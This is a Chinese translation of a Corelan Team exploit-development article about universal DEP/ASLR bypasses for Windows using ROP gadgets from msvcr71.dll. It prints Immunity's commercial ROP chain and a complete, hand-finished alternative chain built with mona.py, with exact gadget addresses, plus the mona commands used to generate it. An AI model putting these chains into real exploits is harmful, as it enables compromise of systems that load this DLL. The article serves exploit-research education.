原文: Corelan Team (corelanc0d3r)
                                                                        翻译: 后恋
说明
最近几周,有许多关于利用msvcr71.dll中ROP gadgets(译者注gadgets小代码)实现通用绕过DEP/ASLR的方法,事实上甚至已经有集成了这类功能的exploit程序被提交给Metasploit来获取奖金了。
白磷版本
  做为白磷漏洞包发布的一部分,这段代码仅仅使用了msvcr71.dll中的gadgets和指向VirtualProtect函数的指针。这个版本的dll没有基于ASLR,因此这是个可以用来实现通用绕过DEP和ASLR的完美侯选者,此外它还包含了生成ROP程序的所有gadgets。
  如果目标应用程序加载了该版本的dll(或者可以让它强制加载),我们就可以使用ROP chain来实现绕过DEP和ASLR的通用方法。
  Immunity公司在他们的网站上公布了绕过技巧,主要代码如下:

def wp_sayonaraASLRDEPBypass(size=1000):
    # White Phosphorus
    # Sayonara Universal ASLR + DEP bypass for Windows [2003/XP/Vista/7]
    #
    # This technique uses msvcr71.dll which has shipped unchanged
    # in the Java Runtime Environment since v1.6.0.0 released
    # December 2006.
    #
    # mail: support@whitephosphorus org
    # sales: http://www.immunityinc.com/products-whitephosphorus.shtml

    print "WP> Building Sayonara - Universal ASLR and DEP bypass"

    size += 4  # bytes to shellcode after pushad esp ptr

    depBypass = pack('<L', 0x7C344CC1)  # pop eax;ret;
    depBypass += pack('<L', 0x7C3410C2) # pop ecx;pop ecx;ret;
    depBypass += pack('<L', 0x7C342462) # xor chain; call eax {0x7C3410C2}
    depBypass += pack('<L', 0x7C38C510) # writeable location for lpflOldProtect
    depBypass += pack('<L', 0x7C365645) # pop esi;ret;
    depBypass += pack('<L', 0x7C345243) # ret;
    depBypass += pack('<L', 0x7C348F46) # pop ebp;ret;
    depBypass += pack('<L', 0x7C3487EC) # call eax
    depBypass += pack('<L', 0x7C344CC1) # pop eax;ret;
    depBypass += pack("<i", -size)      # {size}
    depBypass += pack('<L', 0x7C34D749) # neg eax;ret; {adjust size}
    depBypass += pack('<L', 0x7C3458AA) # add ebx, eax;ret; {size into ebx}
    depBypass += pack('<L', 0x7C3439FA) # pop edx;ret;
    depBypass += pack('<L', 0xFFFFFFC0) # {flag}
    depBypass += pack('<L', 0x7C351EB1) # neg edx;ret; {adjust flag}
    depBypass += pack('<L', 0x7C354648) # pop edi;ret;
    depBypass += pack('<L', 0x7C3530EA) # mov eax,[eax];ret;
    depBypass += pack('<L', 0x7C344CC1) # pop eax;ret;
    depBypass += pack('<L', 0x7C37A181) # (VP RVA + 30) - {0xEF adjustment}
    depBypass += pack('<L', 0x7C355AEB) # sub eax,30;ret;
    depBypass += pack('<L', 0x7C378C81) # pushad; add al,0xef; ret;
    depBypass += pack('<L', 0x7C36683F) # push esp;ret;

    print "WP> Universal Bypass Size: %d bytes"%len(depBypass)
    return depBypass
  受Mestasploit奖金事件的触动,以及Abysssec几个小时前(译者注:2011/07/03)发表的一个类似文档,同时由于Immunity已经发布了代码,我决定自己再研究下看看能不能从msvcr71.dll中找到其他的能够绕过DEP/ASLR的代码
另一种版本(mona.py)
  我用Immunity Debugger调试一个加载了这个dll的应用程序,利用mona.py脚本创建一个拥有ROP gadgets的数据库,并且生成一个rop chain
  因为在白磷版本中没有null字节,所以可以尝试做同样的事。
  结果如下:
  输入命令:
  !mona rop -m msvcr71.dll -n
  17秒后,结果如下:
rop_gadgets =
  [
    0x7c346c0a,  # POP EAX # RETN (msvcr71.dll)
    0x7c37a140,  # <- *&VirtualProtect()
    0x7c3530ea,  # MOV EAX,DWORD PTR DS:[EAX] # RETN (msvcr71.dll)
    0x????????,  # ** <- find routine to move virtualprotect() into esi
                 # ** Hint : look for mov [esp+offset],eax and pop esi
    0x7c376402,  # POP EBP # RETN (msvcr71.dll)
    0x7c345c30,  # ptr to 'push esp #  ret ' (from msvcr71.dll)
    0x7c346c0a,  # POP EAX # RETN (msvcr71.dll)
    0xfffffdff,  # value to negate, target value : 0x00000201, target: ebx
    0x7c351e05,  # NEG EAX # RETN (msvcr71.dll)
    0x7c354901,  # POP EBX # RETN (msvcr71.dll)
    0xffffffff,  # pop value into ebx
    0x7c345255,  # INC EBX # FPATAN # RETN (msvcr71.dll)
    0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (msvcr71.dll)
    0x7c34d201,  # POP ECX # RETN (msvcr71.dll)
    0x7c38b001,  # RW pointer (lpOldProtect) (-> ecx)
    0x7c34b8d7,  # POP EDI # RETN (msvcr71.dll)
    0x7c34b8d8,  # ROP NOP (-> edi)
    0x7c344f87,  # POP EDX # RETN (msvcr71.dll)
    0xffffffc0,  # value to negate, target value : 0x00000040, target: edx
    0x7c351eb1,  # NEG EDX # RETN (msvcr71.dll)
    0x7c346c0a,  # POP EAX # RETN (msvcr71.dll)
    0x90909090,  # NOPS (-> eax)
    0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN (msvcr71.dll)
  # rop chain generated by mona.py
  # note : this chain may not work out of the box
  # you may have to change order or fix some gadgets,
  # but it should give you a head start
  ].pack("V*")
  很有趣,mona.py脚本利用msvce71.dll中的gadgets和指针生成了一个几乎完整的ROP chain。
  虽然看上去比Immunity写的稍微大了点,但是仅仅是想尝试下是否还有另一种可利用方式。
  mona脚本生成的里面唯一缺少的就是一行将VirtualProtext()函数指针(在EAX中)放入ESI的指令。
  mona.py脚本没有发现明显的gadgets能够实现”mov esi, eax”,因此我们不得不手动来查找一个。
  但是正如mona.py提示的,只需要寻找一个gadget能够将值写入eax放到栈上,因为之后可以从ESI中获得它。
  为了做到这一点,我们还需要2到3条gadgets:一个是获得栈指针,第二个将值写入栈,第三个则是取出其值(pop esi)。
  在仔细寻找了生成的rop.txt文件后,成功的找到了下面2个gadget能实现这一点:
0x7c37591f :  # PUSH ESP # ADD EAX,DWORD PTR DS:[EAX] # ADD CH,BL # INC EBP # OR AL,59 # POP ECX # POP EBP # RETN   
0x7c376069 :  # MOV DWORD PTR DS:[ECX+1C],EAX # POP EDI # POP ESI # POP EBX # RETN  
应该可以实现。
使用这个两个gadgets,我们只需要将指向VirtualProtext()函数的指针写到栈上,并最终存储到ESI中。事实上,第二个gadget将会在同一gadget中完成写入和读取。我们只需要保证ECX指向正确的栈上的位置,并能保证pop esi指令能够在那个位置获取取值。
  注意的是,第一个gadget需要EAX包含一个合法的指向可读区域的指针,因此我们要使他可读的办法是从msvcr71.dll中弹出一个可读的地址放到EAX中。
  整合之后,chain如下:
rop_gadgets =
[
  0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
  0x7c37a140,  # Make EAX readable
  0x7c37591f,  # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)
  0x41414141,  # EBP (filler)
  0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
  0x7c37a140,  # <- *&VirtualProtect()
  0x7c3530ea,  # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)
  0x7c346c0b,  # Slide, so next gadget would write to correct stack location
  0x7c376069,  # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)
  0x41414141,  # EDI (filler)
         0x41414141,  # will be patched at runtime (VP), then picked up into ESI
         0x41414141,  # EBX (filler)
  0x7c376402,  # POP EBP # RETN (msvcr71.dll)
  0x7c345c30,  # ptr to 'push esp #  ret ' (from MSVCR71.dll)
  0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
  0xfffffdff,  # size 0x00000201 -> ebx, modify if needed
  0x7c351e05,  # NEG EAX # RETN (MSVCR71.dll)
  0x7c354901,  # POP EBX # RETN (MSVCR71.dll)
  0xffffffff,  # pop value into ebx
  0x7c345255,  # INC EBX # FPATAN # RETN (MSVCR71.dll)
  0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)
  0x7c34d201,  # POP ECX # RETN (MSVCR71.dll)
  0x7c38b001,  # RW pointer (lpOldProtect) (-> ecx)
  0x7c34b8d7,  # POP EDI # RETN (MSVCR71.dll)
  0x7c34b8d8,  # ROP NOP (-> edi)
  0x7c344f87,  # POP EDX # RETN (MSVCR71.dll)
  0xffffffc0,  # value to negate, target value : 0x00000040, target: edx
  0x7c351eb1,  # NEG EDX # RETN (MSVCR71.dll)
  0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
  0x90909090,  # NOPS (-> eax)
  0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)
  # rop chain generated with mona.py
].pack("V*")
共31个双字,比白磷的商业版多了9个双字。但是这个证明了我的观点,而且只花费了我10分钟不到的时间便能建立起这个通用的可以绕过DEP和ASLR的链。
  顺便说一下,如果你不知道,也许有坏字节(假设你需要避免使用’\0xa’和’\0xd’),那么你可以运行如下:
!mona rop -m msvcr71.dll -n -cpb '\x0a\x0d'
以及获取其他指针,其实这些很简单。
总结
  不管结果看上去多么完美或者结果多么肯定,它终究会有其他的办法能实现这种结果。本文就是验证了这个观点
(译者注:该文Immunity Debugger 需要在1.83版本上调试、mona,py是corelan组织最新发布的一个可以替代并且功能远强于pvefindaddr的脚本, mona.py脚本已附,Immunity1.83可在此处现在汉化版http://bbs.pediy.com/showthread.php?t=136903)